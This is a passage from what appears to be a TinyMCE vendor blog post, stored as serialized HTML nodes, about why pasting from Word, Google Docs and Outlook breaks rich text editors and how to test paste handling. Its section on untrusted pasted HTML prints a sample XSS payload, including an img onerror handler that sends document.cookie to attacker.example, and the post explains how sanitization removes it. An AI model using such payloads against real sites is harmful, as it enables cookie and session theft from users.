"},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/blog/paste-to-markdown/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"paste Markdown into TinyMCE"}]},{"type":"text","value":" as structured content."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Outlook belongs on the list too. Outlook has used "},{"type":"element","tagName":"a","properties":{"href":"https://learn.microsoft.com/en-us/previous-versions/office/developer/office-2007/aa338201%28v=office.12%29","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"Word's HTML engine since Outlook 2007"}]},{"type":"text","value":", so text copied from a support thread or customer email carries the same Office markup as a Word document, signatures and colored text included."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Fixing the issue is only half the work. Google Docs is a web app without versioned releases or a changelog for its clipboard output, so the markup can change without notice. Paste rules need ongoing attention, not a one-time fix."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Production handling detects the source first (for example, Word's "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<meta name=ProgId content=Word.Document>"}]},{"type":"text","value":" or the "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"docs-internal-guid"}]},{"type":"text","value":" id), applies source-specific rules, and then runs the same allowlist for everything. PowerPaste is built this way: it has a separate setting for each source, "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/","target":"_blank","rel":["noopener"]},"children":[{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"powerpaste_word_import"}]},{"type":"text","value":", "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"powerpaste_googledocs_import"}]},{"type":"text","value":", and "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"powerpaste_html_import"}]}]},{"type":"text","value":", so you can keep formatting from one source and strip it from another. In our test, the Google Docs payload above came back as "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<p><strong>Refund policy:</strong> requests are reviewed within 5 business days.</p>"}]},{"type":"text","value":". For the full Docs workflow, including tables and images, read "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/blog/google-docs-powerpaste-rich-text-editor/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"Google Docs to HTML"}]},{"type":"text","value":"."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Where the paste lands matters as well as where it comes from. Pasting bold text into a bold paragraph, or formatted text into a list item, produces nested and duplicated tags unless the editor merges them. TinyMCE's "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/copy-and-paste/#paste_merge_formats","target":"_blank","rel":["noopener"]},"children":[{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste_merge_formats"}]}]},{"type":"text","value":", on by default, collapses redundant formatting such as "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<b>"}]},{"type":"text","value":" inside "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<b>"}]},{"type":"text","value":"."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h2","properties":{},"children":[{"type":"text","value":"6. Pasted HTML is untrusted input"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"The clipboard can carry markup from any page a user copied from, including event handlers and script URLs. That makes your paste handler a security boundary: sanitize on paste, then again on the server."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"pre","properties":{"className":["language-markup"]},"children":[{"type":"text","value":"<p>Quarterly update <img src=\"x\" onerror=\"fetch('https://attacker.example/?c='+document.cookie)\">\n<a href=\"javascript:alert(document.domain)\">details</a></p>\n<script>alert(document.cookie)</script>\n<svg onload=\"alert(1)\"><circle r=\"5\"></circle></svg>\n<iframe src=\"https://attacker.example/login\"></iframe>\n<p onclick=\"alert(1)\">Click me</p>"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"This isn't theoretical. In 2020, a security researcher "},{"type":"element","tagName":"a","properties":{"href":"https://web.archive.org/web/20220124170730/https://research.securitum.com/the-curious-case-of-copy-paste/","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"published research on copy-and-paste attacks"}]},{"type":"text","value":" that reported four security issues in browsers and five vulnerabilities in rich text editors, with bug bounties totaling more than $30,000. His central point: once an editor takes over paste handling, the browser's own sanitization no longer protects you, and the editor's code does."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Whichever editor you use, its paste path should analyze pasted HTML somewhere nothing can run or load, sanitize it against an allowlist of tags, attributes, and URL schemes, and sandbox embedded frames. Then repeat the "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/blog/input-sanitization/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"input sanitization"}]},{"type":"text","value":" on the server before anything is stored or rendered. A Content Security Policy adds a page-level layer on top: if something slips through, the browser still refuses to run scripts from sources you haven't allowed."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"In TinyMCE, incoming HTML is "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/security/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"parsed with the browser's "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"DOMParser"}]},{"type":"text","value":" and sanitized with DOMPurify"}]},{"type":"text","value":", according to its security documentation. The "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"xss_sanitization"}]},{"type":"text","value":" option is on by default, SVG isn't supported, and "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"sandbox_iframes"}]},{"type":"text","value":" adds an empty "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"sandbox"}]},{"type":"text","value":" attribute to embedded frames. In our tests with an equivalent payload, the "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"onerror"}]},{"type":"text","value":" and "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"onclick"}]},{"type":"text","value":" handlers, the "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"javascript:"}]},{"type":"text","value":" URL, the "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<script>"}]},{"type":"text","value":" tag, and the SVG were removed, the iframe was kept with "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"sandbox=\"\""}]},{"type":"text","value":", and none of the payloads ran, both with PowerPaste and with TinyMCE's built-in paste. Tiny still recommends filtering content on the server, because attackers can bypass any client-side check, and its security guide lists the "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/security/#configuring-content-security-policy-csp-for-tinymce","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"CSP directives TinyMCE needs"}]},{"type":"text","value":"."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"element","tagName":"img","properties":{"src":"https://images.ctfassets.net/s600jj41gsex/2itwAOtVHVONfKBI0hWhmC/30d31400090faa6eef0af59cc03b7740/-thu-08-rich-text-editor-paste-problems-03-source-code-unsafe-sample.webp","alt":"","width":1900,"height":1040},"children":[]}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h2","properties":{},"children":[{"type":"text","value":"7. The same paste behaves differently across browsers and platforms"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"What reaches your code depends on the browser, the clipboard API, the operating system, and even how the document was opened. A fix verified on one machine can fail on the next."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"The API alone changes the payload. In the synchronous "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste"}]},{"type":"text","value":" event, "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"clipboardData.getData('text/html')"}]},{"type":"text","value":" "},{"type":"element","tagName":"a","properties":{"href":"https://lists.w3.org/Archives/Public/public-webapps-github/2023Oct/0534.html","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"returns unsanitized HTML"}]},{"type":"text","value":", as the source app wrote it. "},{"type":"element","tagName":"a","properties":{"href":"https://developer.chrome.com/docs/web-platform/unsanitized-html-async-clipboard","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"Chrome's asynchronous "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"navigator.clipboard.read()"}]}]},{"type":"text","value":" sanitizes by default: it strips "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<script>"}]},{"type":"text","value":", "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<meta>"}]},{"type":"text","value":", "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<head>"}]},{"type":"text","value":", and "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<style>"}]},{"type":"text","value":" elements and inlines CSS, unless your code asks for unsanitized HTML. The same copy gives two different payloads depending on which path your editor uses. Our earlier post on the "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/blog/new-async-clipboard-api/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"Async Clipboard API"}]},{"type":"text","value":" covers how the newer API differs from event-based paste."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Platform and app quirks add more cases:"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"ul","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Word Protected View."}]},{"type":"text","value":" On Windows, "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#powerpaste_word_import","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"copying from Word 2013 or later in Protected View"}]},{"type":"text","value":" gives you plain, unformatted text, because of how Protected View interacts with the clipboard."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Drag and drop."}]},{"type":"text","value":" "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/copy-and-paste/#paste_block_drop","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"Browsers don't let editors filter content that's dragged and dropped"}]},{"type":"text","value":" in the way they filter paste, so TinyMCE offers "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste_block_drop"}]},{"type":"text","value":" to switch drag and drop off when unfiltered content is a risk."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Images"}]},{"type":"text","value":". Browsers don't hand over pasted images the same way. Since a 2016 WebKit change, Safari turns a pasted image into a blob URL on its own, while other browsers pass the editor the raw image data to convert. A handler that always converts, or never does, breaks images in one of them; PowerPaste checks which case it's in."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Whitespace."}]},{"type":"text","value":" Spacing doesn't survive reliably either. "},{"type":"element","tagName":"a","properties":{"href":"https://community.nintex.com/archive-25/ootb-rich-text-editor-formatting-issues-4626","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"Users report words running together"}]},{"type":"text","value":" after pasting heavily formatted Word content, empty paragraphs arrive as "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"&nbsp;"}]},{"type":"text","value":", and tabs need converting in plain-text pastes (TinyMCE turns each tab into four spaces by default, set with "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/copy-and-paste/#paste_tab_spaces","target":"_blank","rel":["noopener"]},"children":[{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste_tab_spaces"}]}]},{"type":"text","value":")."}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"No product team can keep up with this on the side. TinyMCE is built to "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/support/#supported-web-browsers","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"handle browser inconsistencies"}]},{"type":"text","value":" across current Chrome, Edge, Firefox, and Safari, and documents the paste exceptions it can't control, such as Protected View and Excel for the web, so you don't learn about them from support tickets."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h2","properties":{},"children":[{"type":"text","value":"What to look for in a rich text editor's paste handling"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"If you're choosing an editor rather than building one, these are the requirements the seven failures add up to. Ask every vendor on your shortlist how their editor meets each one, then check the answers with a test matrix like the one below."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"div","properties":{"align":"left"},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"table","properties":{},"children":[{"type":"element","tagName":"colgroup","properties":{},"children":[{"type":"element","tagName":"col","properties":{},"children":[]},{"type":"element","tagName":"col","properties":{},"children":[]},{"type":"element","tagName":"col","properties":{},"children":[]}]},{"type":"text","value":"\n"},{"type":"element","tagName":"thead","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"tr","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"th","properties":{"scope":"col"},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Requirement"}]}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"th","properties":{"scope":"col"},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Why it matters"}]}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"th","properties":{"scope":"col"},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"How TinyMCE handles it"}]}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"tbody","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"tr","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Rebuilds lists and keeps real headings"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Fake lists and headings break numbering and screen readers"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"PowerPaste rebuilds Word lists as nested "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<ul>"}]},{"type":"text","value":"/"},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<ol>"}]},{"type":"text","value":" and keeps headings; Accessibility Checker flags fake lists, fake headings, and skipped levels"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"tr","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Removes Office markup but keeps structure"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Office styles break emails, PDFs, and your design system"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"clean"}]},{"type":"text","value":" mode keeps headings, lists, and tables and drops inline styles; "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"merge"}]},{"type":"text","value":" keeps formatting minus invalid and proprietary markup; "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"valid_styles"}]},{"type":"text","value":" limits which CSS survives"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"tr","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Keeps table structure, including merged cells"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Lost "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"colspan"}]},{"type":"text","value":" or "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"rowspan"}]},{"type":"text","value":" puts values under the wrong headers"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"PowerPaste keeps table structure and resolves Excel's class-based styles; "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"table_sizing_mode"}]},{"type":"text","value":" controls widths; Accessibility Checker flags missing header cells"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"tr","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Brings pasted images into your storage"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Local file paths break, and Base64 blobs bloat your database"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Pasted images upload through "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"images_upload_url"}]},{"type":"text","value":" or "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"images_upload_handler"}]},{"type":"text","value":"; unsupported image paths can be kept for post-processing"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"tr","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Treats each source differently"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Word, Google Docs, Outlook, and web HTML each need their own rules"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Separate "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"powerpaste_word_import"}]},{"type":"text","value":", "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"powerpaste_googledocs_import"}]},{"type":"text","value":", and "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"powerpaste_html_import"}]},{"type":"text","value":" settings, plus "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste_preprocess"}]},{"type":"text","value":" and "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste_postprocess"}]},{"type":"text","value":" hooks for your own rules"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"tr","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Sanitizes pasted HTML by default"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"The clipboard is an XSS vector"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"DOMParser"}]},{"type":"text","value":" plus DOMPurify, with "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"xss_sanitization"}]},{"type":"text","value":" on by default and sandboxed iframes; documented CSP directives; Tiny recommends server-side filtering as a second layer"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"tr","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Lets you vary paste rules by user or field"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Authors, admins, and short fields need different behavior"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"powerpaste_word_import"}]},{"type":"text","value":" "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#powerpaste_word_import","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"accepts a function"}]},{"type":"text","value":", so the mode can depend on role; "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste_as_text"}]},{"type":"text","value":" forces plain text per instance"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"tr","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Behaves consistently across browsers"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Platform quirks otherwise surface as support tickets"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Supports current Chrome, Edge, Firefox, and Safari, and documents exceptions such as Protected View and Excel for the web"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Meeting those requirements in TinyMCE takes a few lines of configuration:"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"pre","properties":{"className":["language-javascript"]},"children":[{"type":"text","value":"tinymce.init({\n  selector: '#editor',\n  plugins: 'powerpaste lists table image',\n  powerpaste_word_import: 'clean',          // keep headings, lists, tables; drop Word styling\n  powerpaste_googledocs_import: 'clean',\n  powerpaste_html_import: 'clean',\n  images_upload_url: '/api/editor-images',  // pasted images end up in your storage\n  table_sizing_mode: 'relative'\n  // xss_sanitization is on by default\n});"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"The parsing, list rebuilding, and per-source rules live in the editor, and keeping them current as Word and Google Docs change is Tiny's job rather than your team's."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h2","properties":{},"children":[{"type":"text","value":"How to test any editor's paste handling before you commit"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Test pasting across a range of real-world scenarios. Run it against every editor on your shortlist during the proof of concept, starting with the "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/tinymce/features/powerpaste/#powerpaste-demo","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"PowerPaste demo"}]},{"type":"text","value":", then keep it as a regression suite after you choose: replay saved clipboard payloads automatically in CI and do a real-copy pass from the actual apps before each release."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"div","properties":{"align":"left"},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"table","properties":{},"children":[{"type":"element","tagName":"colgroup","properties":{},"children":[{"type":"element","tagName":"col","properties":{},"children":[]},{"type":"element","tagName":"col","properties":{},"children":[]},{"type":"element","tagName":"col","properties":{},"children":[]}]},{"type":"text","value":"\n"},{"type":"element","tagName":"thead","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"tr","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"th","properties":{"scope":"col"},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Source"}]}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"th","properties":{"scope":"col"},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"What to copy"}]}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"th","properties":{"scope":"col"},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"What to check"}]}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"tbody","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"tr","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Word (Windows and Mac)"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Nested bulleted and numbered lists, styled and hand-formatted headings, a bold run, an image"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Real nested "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<ul>"}]},{"type":"text","value":"/"},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<ol>"}]},{"type":"text","value":", one "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<h1>"}]},{"type":"text","value":" at most, no bullet glyphs, image uploaded rather than inlined"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"tr","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Word with review history"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"A paragraph with tracked changes and a comment"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"No reviewer names, comments, or deleted text in the result"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"tr","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Long Word document"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"50 pages with screenshots"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Editor stays responsive; images uploaded; paste time recorded"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"tr","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Images across 